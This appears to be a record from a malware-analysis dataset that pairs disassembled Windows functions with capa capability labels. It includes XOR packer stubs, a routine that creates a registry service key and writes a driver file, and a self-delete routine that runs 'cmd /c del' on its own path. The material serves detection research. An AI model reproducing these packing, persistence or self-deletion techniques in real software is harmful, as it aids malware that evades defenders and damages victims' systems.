joyce8/EMBER2024-capa huggingface dataset:
Function at 0x78afa955
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x78b54610]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x78b589ec]
test dword [ebp + 8], eax
je 0x78afa9ea
push ebx
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea ebx, [ebp - 0x808]
call sym.MSVCR100.dll_memcpy
xor eax, eax
pop ecx
mov word [ebp - 8], ax
mov eax, dword [0x78b555ec]
pop ecx
pop ebx
test eax, eax
je 0x78afa9dd
lea ecx, [ebp - 0x808]
push ecx
push eax
call sym.MSVCR100.dll_fwprintf
pop ecx
pop ecx
push 0
push 0x32
push dword [0x78b589f4]
push dword [0x78b589f0]
call fcn.78ac8210
add dword [0x78b589f0], 1
adc dword [0x78b589f4], 0
or eax, edx
jne 0x78afa9ea
push dword [0x78b555ec]
call sym.MSVCR100.dll_fflush
pop ecx
jmp 0x78afa9ea
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.78ab0807
leave
ret

Function at 0x78afe8af
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x78afe8d6
call sym.MSVCR100.dll___doserrno
mov dword [eax], esi
call sym.MSVCR100.dll__errno
push 0x16
pop esi
mov dword [eax], esi
call sym.MSVCR100.dll__invalid_parameter_noinfo
mov eax, esi
jmp 0x78afe92b
test dword [ebp + 0xc], 0xfffffff9
jne 0x78afe8bc
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x78afe903
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call sym.MSVCR100.dll_memcpy
pop ecx
call sym.MSVCR100.dll__errno
mov eax, dword [eax]
jmp 0x78afe92b
test al, 0x10
jne 0x78afe929
test al, 1
je 0x78afe929
test byte [ebp + 0xc], 2
je 0x78afe929
call sym.MSVCR100.dll___doserrno
mov dword [eax], 5
call sym.MSVCR100.dll__errno
mov dword [eax], 0xd
jmp 0x78afe8fa
xor eax, eax
pop esi
pop ebp
ret

Function at 0x78afe946
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x78afe96e
call sym.MSVCR100.dll___doserrno
and dword [eax], 0
call sym.MSVCR100.dll__errno
mov dword [eax], 0x16
call sym.MSVCR100.dll__invalid_parameter_noinfo
or eax, 0xffffffff
pop ebp
ret
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x78afe98b
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call sym.MSVCR100.dll_memcpy
pop ecx
jmp 0x78afe969
test byte [ebp + 0xc], 0x80
je 0x78afe996
and eax, 0xfffffffe
jmp 0x78afe999
or eax, 1
push eax
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
je 0x78afe97c
xor eax, eax
pop ebp
ret
Function at 0x78b00307
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x78b0032f
call sym.MSVCR100.dll___doserrno
and dword [eax], 0
call sym.MSVCR100.dll__errno
mov dword [eax], 0x16
call sym.MSVCR100.dll__invalid_parameter_noinfo
or eax, 0xffffffff
pop ebp
ret
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x78b0034c
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call sym.MSVCR100.dll_memcpy
pop ecx
jmp 0x78b0032a
test byte [ebp + 0xc], 0x80
je 0x78b00357
and eax, 0xfffffffe
jmp 0x78b0035a
or eax, 1
push eax
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
je 0x78b0033d
xor eax, eax
pop ebp
ret

Function at 0x78b2c16f
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x78b58650], eax
mov dword [0x78b5864c], ecx
mov dword [0x78b58648], edx
mov dword [0x78b58644], ebx
mov dword [0x78b58640], esi
mov dword [0x78b5863c], edi
mov word [0x78b58668], ss
mov word [0x78b5865c], cs
mov word [0x78b58638], ds
mov word [0x78b58634], es
mov word [0x78b58630], fs
mov word [0x78b5862c], gs
pushfd
pop dword [0x78b58660]
mov eax, dword [ebp]
mov dword [0x78b58654], eax
mov eax, dword [ebp + 4]
mov dword [0x78b58658], eax
lea eax, [ebp + 8]
mov dword [0x78b58664], eax
mov eax, dword [ebp - 0x320]
mov dword [0x78b585a0], 0x10001
mov eax, dword [0x78b58658]
mov dword [0x78b58554], eax
mov dword [0x78b58548], 0xc0000409
mov dword [0x78b5854c], 1
mov eax, dword [0x78b54610]
mov dword [ebp - 0x328], eax
mov eax, dword [0x78b553f8]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x78b58598], eax
push 1
call sym.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x78b2c270
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x78b58598], 0
jne 0x78b2c25b
push 1
call sym.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x407a10
Capabilities:
Get geographical location

Disassembly:
mov eax, dword [0x40d988]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push edi
test eax, eax
jne 0x407a58
push 0
push 0
push 1
push 0
call esi
test eax, eax
je 0x407a38
mov eax, 2
jmp 0x407a53
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x407b38
mov eax, 1
mov dword [0x40d988], eax
cmp eax, 2
jne 0x407a78
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x18]
push ecx
push edx
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
ret
cmp eax, 1
jne 0x407b4a
mov eax, dword [esp + 0x24]
test eax, eax
jne 0x407a93
mov ecx, dword [0x40d908]
mov dword [esp + 0x24], ecx
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
push 0
push 0
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov edi, eax
test edi, edi
jne 0x407ab2
pop edi
pop esi
pop ebp
pop ebx
ret
lea edx, [edi + edi]
push edx
call fcn.00402370
mov esi, eax
add esp, 4
test esi, esi
jne 0x407ac9
pop edi
pop esi
pop ebp
pop ebx
ret
push edi
push esi
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x407b2f
mov eax, dword [esp + 0x20]
push 0
test eax, eax
push 0
jne 0x407b10
mov eax, dword [esp + 0x2c]
push 0
push 0
push 0xffffffffffffffff
push esi
push 0x220
push eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
je 0x407b2f
push esi
call fcn.00402300
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x2c]
push eax
push ecx
push 0xffffffffffffffff
push esi
push 0x220
push edx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
jne 0x407b3f
push esi
call fcn.00402300
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
call fcn.00402300
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4059a6
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
test edi, edi
pop ecx
mov esi, eax
jbe 0x4059d1
mov eax, dword [esp + 0xc]
push ebx
mov ecx, esi
sub eax, esi
mov edx, edi
mov bl, byte [eax + ecx]
xor bl, 0x42
mov byte [ecx], bl
inc ecx
dec edx
jne 0x4059c4
pop ebx
push 0x408230
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push edi
push esi
call fcn.00404b97
push esi
mov edi, eax
call fcn.00405a0a
add esp, 0x18
mov eax, edi
pop edi
pop esi
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x408ed0
nop
mov ecx, 0x21077ab3
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x75081cf9
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x593d2314
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..text_1
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x23e567c2
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x40ce09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40ce13
repz ret
jmp fcn.00413639

Function at 0x413b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104e0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ce0
push eax
call fcn.0041046e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c87
cmp dword [0x423e2c], ebx
je 0x413c87
push eax
call fcn.004104e9
push dword [0x423e2c]
mov esi, eax
call fcn.004104e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c87
test edi, edi
je 0x413c87
call esi
test eax, eax
je 0x413c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c7e
test byte [ebp - 0xc], 1
jne 0x413c87
or dword [ebp + 0x10], 0x200000
jmp 0x413cc0
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cc0
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104e9
pop ecx
test eax, eax
je 0x413ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x431004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x7e3a69a1
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4330d2
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x224b6554
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401ddc
Capabilities:
Set registry value

Disassembly:
push 0x130
mov eax, 0x415a75
call fcn.0040b116
mov eax, dword [ebp + 8]
mov edi, 0x400
lea esi, [ebp - 0x138]
mov dword [ebp - 0x118], eax
call fcn.0040132f
push str.___t69m_
lea eax, [ebp - 0x130]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call section..text
mov byte [ebp - 4], 1
push dword [eax]
lea edi, [ebp - 0x124]
call fcn.00401377
mov eax, dword [eax]
lea ecx, [ebp - 0x114]
movzx edx, word [eax]
inc eax
mov word [ecx], dx
inc eax
inc ecx
inc ecx
cmp dx, bx
jne 0x401e33
lea esi, [ebp - 0x124]
call fcn.004013de
lea esi, [ebp - 0x130]
mov byte [ebp - 4], bl
call fcn.00401115
call fcn.00401131
cmp eax, 0x20
je 0x401ed3
push str._tiRSOOO5zghb
lea eax, [ebp - 0x130]
push eax
call section..text
mov byte [ebp - 4], 2
push dword [eax]
lea edi, [ebp - 0x124]
call fcn.00401377
mov eax, dword [eax]
mov edx, eax
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x401e8b
sub eax, edx
lea edi, [ebp - 0x114]
dec edi
dec edi
mov cx, word [edi + 2]
inc edi
inc edi
cmp cx, bx
jne 0x401e9f
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x124]
call fcn.004013de
lea esi, [ebp - 0x130]
mov byte [ebp - 4], bl
call fcn.00401115
push str._si_iez_ovURj
lea eax, [ebp - 0x130]
push eax
call section..text
mov byte [ebp - 4], 3
push dword [eax]
lea edi, [ebp - 0x124]
call fcn.00401377
mov eax, dword [eax]
mov edx, eax
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x401ef9
sub eax, edx
lea edi, [ebp - 0x114]
dec edi
dec edi
mov cx, word [edi + 2]
inc edi
inc edi
cmp cx, bx
jne 0x401f0d
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x124]
call fcn.004013de
lea esi, [ebp - 0x130]
call fcn.00401115
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0x11c]
push eax
push ebx
push 2
push ebx
push ebx
push ebx
lea eax, [ebp - 0x114]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov eax, dword [ebp - 0x118]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401f6d
sub eax, esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
inc eax
push eax
push dword [ebp - 0x118]
push 1
push ebx
push 0x417fbc
push dword [ebp - 0x11c]
call esi
push ebx
call fcn.00409a5e
pop ecx
push 4
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0x118]
push eax
push 4
push ebx
push str.start
push dword [ebp - 0x11c]
call esi
push dword [ebp - 0x11c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea esi, [ebp - 0x138]
call fcn.0040134e
xor eax, eax
inc eax
call fcn.0040b160
ret
Function at 0x402ae1
Capabilities:
Get hostname

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xc8
mov eax, dword [0x41e280]
xor eax, ebp
mov dword [ebp + 0x74], eax
push 0x40
lea eax, [ebp + 0x34]
push 0
push eax
call fcn.0040dc60
mov eax, 0x80
push eax
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x4c]
push 0
push eax
call fcn.0040dc60
add esp, 0x18
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor eax, eax
mov cl, byte [ebp + eax - 0x4c]
mov byte [ebp + eax + 0x34], cl
inc eax
test cl, cl
jne 0x402b2a
lea eax, [ebp + 0x34]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b3d
sub eax, edx
push eax
lea eax, [ebp + 0x34]
push eax
call fcn.00403861
imul eax, eax, 0xd
pop ecx
pop ecx
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
call fcn.0040937e
add ebp, 0x78
leave
ret
Function at 0x402b64
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x41e280]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0x1c
mov eax, 0x415a21
call fcn.0040b0ad
mov eax, dword [ebp + 0x214]
push 0x208
mov dword [ebp - 0x14], eax
xor ebx, ebx
lea eax, [ebp]
mov esi, ecx
push ebx
push eax
mov dword [ebp - 0x10], esi
call fcn.0040dc60
add esp, 0xc
lea eax, [ebp]
push eax
push 1
push ebx
push 0x25
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
cmp eax, ebx
je 0x402bc5
xor eax, eax
jmp 0x402cd3
cmp dword [ebp + 0x218], ebx
je 0x402c21
push 0xa
push str._yi_iez_ov
call fcn.00403861
pop ecx
pop ecx
mov esi, eax
call fcn.00402ae1
add esi, eax
mov eax, esi
imul eax, eax, 7
mov ecx, 0xff
xor edx, edx
mov edi, ecx
div edi
mov eax, esi
imul eax, eax, 3
push edx
xor edx, edx
div ecx
push edx
push ebx
call fcn.00409a5e
imul ax, si
pop ecx
movzx eax, ax
push eax
push str._04X_02X_02X
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
jmp 0x402c5f
push str._yi_iez_ov
lea eax, [ebp - 0x28]
push eax
call section..text
mov dword [ebp - 4], ebx
push dword [eax]
lea edi, [ebp - 0x1c]
call fcn.00401377
mov eax, dword [eax]
mov edx, esi
movzx ecx, word [eax]
inc eax
mov word [edx], cx
inc eax
inc edx
inc edx
cmp cx, bx
jne 0x402c40
lea esi, [ebp - 0x1c]
call fcn.004013de
lea esi, [ebp - 0x28]
call fcn.00401115
lea edi, [ebp]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
cmp ax, bx
jne 0x402c64
mov eax, dword [ebp - 0x10]
push 5
pop ecx
mov esi, str.drivers_
rep movsd dword es:[edi], dword [esi]
mov edx, eax
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x402c7e
sub eax, edx
lea edi, [ebp]
dec edi
dec edi
mov cx, word [edi + 2]
inc edi
inc edi
cmp cx, bx
jne 0x402c8f
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
cmp ax, bx
jne 0x402caf
mov esi, str..sys
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, dword [ebp - 0x14]
mov ecx, 0x82
lea esi, [ebp]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
inc eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.0040937e
add ebp, 0x20c
leave
ret

Function at 0x402d03
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x402d2f
push 0xfffffffffffffffb
pop eax
jmp 0x402d58
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [esi]
push esi
call dword [eax + 0x14]
push eax
mov eax, dword [esi]
push esi
call dword [eax + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
leave
ret
Function at 0x402f19
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x5d8]
sub esp, 0x658
mov eax, dword [0x41e280]
xor eax, ebp
mov dword [ebp + 0x5d4], eax
push esi
push edi
mov esi, 0x104
push esi
lea eax, [ebp + 0x3cc]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp eax, edi
je 0x403035
push esi
lea eax, [ebp + 0x3cc]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
cmp eax, edi
je 0x403035
push esi
lea eax, [ebp - 0x44]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
cmp eax, edi
je 0x403035
push str._c_del
lea eax, [ebp + 0x1c4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp + 0x3cc]
push eax
lea eax, [ebp + 0x1c4]
push eax
call esi
push str.___nul
lea eax, [ebp + 0x1c4]
push eax
call esi
lea eax, [ebp - 0x44]
mov dword [ebp - 0x70], eax
lea eax, [ebp + 0x1c4]
push 0x40
mov dword [ebp - 0x6c], eax
pop esi
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x3c
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x74], str.Open
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x7c], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
cmp eax, edi
je 0x403035
push esi
push dword [ebp - 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
call esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x100
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xf
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push edi
lea eax, [ebp + 0x3cc]
push eax
push 5
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp + 0x5d4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040937e
add ebp, 0x5d8
leave
ret